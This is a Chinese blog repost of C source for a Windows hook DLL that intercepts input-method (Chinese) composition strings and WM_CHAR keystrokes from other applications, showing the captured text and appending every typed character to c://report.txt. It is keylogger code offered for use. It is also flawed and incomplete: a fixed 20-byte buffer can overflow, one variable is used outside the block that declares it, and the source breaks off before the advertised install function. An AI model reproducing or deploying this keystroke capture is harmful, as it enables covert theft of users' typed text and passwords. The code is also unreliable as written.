关于HOOK截入中文输入

来源:互联网 发布:网络暴力案例 编辑:程序博客网 时间:2024/04/30 17:57
//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK g_hHook = NULL;               //hook句柄
HINSTANCE g_hHinstance = NULL;        //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
       LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
       PMSG pmsg = (PMSG)lParam;
       if (nCode == HC_ACTION)
      {
               switch (pmsg->message)
               {
               case WM_IME_COMPOSITION:
                      {
                                   HIMC hIMC;
                                   HWND hWnd=pmsg->hwnd;
                                   DWORD dwSize;
                                   char ch;
                                   char lpstr[20];
                                   if(pmsg->lParam & GCS_RESULTSTR)
                                   {
                                   //先获取当前正在输入的窗口的输入法句柄
                                   hIMC = ImmGetContext(hWnd);
                                   if (!hIMC)
                                   {
                                               MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                                   }

                                   // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                                   dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                                   // 缓冲区大小要加上字符串的NULL结束符大小,
                                   //?? 考虑到UNICODE
                                   dwSize += sizeof(WCHAR);

                                   memset(lpstr, 0, 20);

                                   // 再调用一次.ImmGetCompositionString获取字符串
                                   ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

                                   //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                                   MessageBox(NULL, lpstr, lpstr, MB_OK);
                                   ImmReleaseContext(hWnd, hIMC);
                            }
                     }
                     break;
              case WM_CHAR:??//截获发向焦点窗口的键盘消息
                     {
                            FILE* f1;
                            f1=fopen("c://report.txt","a+");
                            ch=(char)(pmsg->wParam);
                            fwrite(&ch,1,1,f1);
                            fclose(f1);????
                     }
                     break;
              }
       }

 
原创粉丝点击